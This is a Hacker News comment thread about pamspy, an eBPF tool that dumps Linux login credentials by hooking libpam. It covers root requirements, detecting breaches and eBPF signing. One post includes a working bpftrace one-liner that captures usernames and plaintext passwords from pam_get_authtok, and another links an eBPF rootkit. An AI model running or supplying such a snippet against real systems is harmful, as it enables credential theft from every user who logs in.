Does it grab ssh passwords? (Not sshd password) when a user runs ssh from the target server itself to other servers
Show HN: Credentials dumper for Linux using eBPF
41–50 of 51 posts
Re: Show HN: Credentials dumper for Linux using eBPF
#42Earlier quoted context omitted.
Unless you enable unprivileged eBPF, root is required to load a module. If a user has root there are plenty of ways to get passwords.
Understood, and agreed once you have root access you can get passwords but I've not seen many that are this easy , and I'm now thinking there's something I need to understand about how to detect if certain traces are happening so I can detect a potential breach. Also seems prudent to get rid of passwords and move to Kerberos and SSH keys + 2FA. Anything else I'm missing?
Looking for specific traces like this is a difficult (but still worthwhile) way of detecting a breach, as there’s potentially infinite things a root user could do once they have that level of access.
Another approach is focusing on detecting the privilege escalation in the first place. You can use normal auth logs in Linux alongside things like auditd, or more complicated EDR tools that look for suspicious system calls etc to identify root logins that are suspicious, or when a process might have been exploited and elevated to root. Make sure you’re shipping your logs somewhere remotely so they are protected from tampering.
Re: Show HN: Credentials dumper for Linux using eBPF
#43> built as a static binary without any dependencies > As pamspy rely on libpam, we have to set the path where libpam is installed on your distribution. Confusing text in the readme. Does it have dependencies or not?
You could say libpam is the "target".
Like pointing a disassembler at a shared library, it's not needed to run the disassembler, it's the thing you're disassembling.
Re: Show HN: Credentials dumper for Linux using eBPF
#44Am I the only one for whom it doesn't work? the reason being that using PARMx registers on uretprobe has no guarantee that the registers still hold the argument values, as these registers can be clobbered at will (and are for me).
The solution for this is usually to track both probes and remember arguments, here's what it'd look like with bpftrace -- that does the same as his program, I've just hardcoded the offset for username in pam_handle struct but the repo hardcoded the struct (it's also possible to include a .h in bpftrace to stay up to date)
bpftrace -e 'BEGIN { printf("pid,comm,user,pass\n"); }
uprobe:/lib/x86_64-linux-gnu/libpam.so.0:pam_get_authtok {
@user[tid] = arg0;
@pass[tid] = arg2;
}
uretprobe:/lib/x86_64-linux-gnu/libpam.so.0:pam_get_authtok /@user[tid]/ {
printf("%d,%s,%s,%s\n", tid, comm,
str(*((uint64*)@user[tid]+6)),
str(uptr(*@pass[tid])));
// just illustrating arg2 (rdx on x86_64) changed:
printf("%lx, %lx\n", reg("dx"), @pass[tid]);
delete(@user[tid]);
delete(@pass[tid]);
}'Re: Show HN: Credentials dumper for Linux using eBPF
#45Earlier quoted context omitted.
Unless you enable unprivileged eBPF, root is required to load a module. If a user has root there are plenty of ways to get passwords.
Understood, and agreed once you have root access you can get passwords but I've not seen many that are this easy , and I'm now thinking there's something I need to understand about how to detect if certain traces are happening so I can detect a potential breach. Also seems prudent to get rid of passwords and move to Kerberos and SSH keys + 2FA. Anything else I'm missing?
If you use GitHub, you have your public keys available: https://GitHub.com/withinboredom.keys. Replace my username with yours or whoever.
There’s an option in sshd to run a program that should output the contents of an authorized keys file: AuthorizedKeysCommand
So you write a simple bash script or program to output authorized keys based on your own rules. If you want stronger auth, check out libnss-ato which can allow you to masquerade as root if the user is authorized. (In your authorized key script, check if the user is in your org and/or part of a certain team, if so, output their public keys, otherwise, output nothing).
I really should open source my code, but it’s literally only 5-6 lines of code, and 3 lines of configuration.
Re: Show HN: Credentials dumper for Linux using eBPF
#46Does it grab ssh passwords? (Not sshd password) when a user runs ssh from the target server itself to other servers
Doubt it, but only for lack of trying. As the readme says this hooks into libpam, which wouldn't be used when ssh client makes an outgoing connection, unless the outgoing connection is to localhost. However, the method used in this should also be usable for hooking into an ssh client.
Re: Show HN: Credentials dumper for Linux using eBPF
#47Earlier quoted context omitted.
Running eBPF programs doesn't necessarily require compilation at runtime nor root privileges. Look into bpftool's skeleton generation as well as CAP_BPF. With that being said, because eBPF programs can be compiled at runtime, it makes signing eBPF programs trickier. The kernel team doesn't want efforts such as bpftrace to be stifled. It seems like the conversation on signing eBPF programs is still ongoing with an eye…
Hmm I see. I’m still not sure what’s the use case and threat model. Is this all for Secure Boot just like signed kernel modules?
The threat model is that I want to deploy ebpf programs to my base amis and let devs load them as-needed without root, basically.
Re: Show HN: Credentials dumper for Linux using eBPF
#48Am I the only one for whom it doesn't work? the reason being that using PARMx registers on uretprobe has no guarantee that the registers still hold the argument values, as these registers can be clobbered at will (and are for me). The solution for this is usually to track both probes and remember arguments, here's what it'd look like with bpftrace -- that does the same as his program, I've just hardcoded the offset f…
I made a little fix, if you want to retry
Re: Show HN: Credentials dumper for Linux using eBPF
#49Related: TripleCross - A Linux eBPF rootkit with a backdoor, C2, library injection, execution hijacking, persistence and stealth capabilities. https://github.com/h3xduck/TripleCross
Embrace the red also has a couple of good write ups to learn Offensive eBPF:
Re: Show HN: Credentials dumper for Linux using eBPF
#50Am I the only one for whom it doesn't work? the reason being that using PARMx registers on uretprobe has no guarantee that the registers still hold the argument values, as these registers can be clobbered at will (and are for me). The solution for this is usually to track both probes and remember arguments, here's what it'd look like with bpftrace -- that does the same as his program, I've just hardcoded the offset f…
I made a little fix, if you want to retry
Thanks! This happens to work for me, but the root of the problem is the same: there's no guarantee that the handle will still be in that register when the function returns; my compiler just happens to not be clobbering that register.
Anyway, this is probably good enough as a bpf demonstration and it definitely has made its impact looking at other comments here. That's probably all that matters.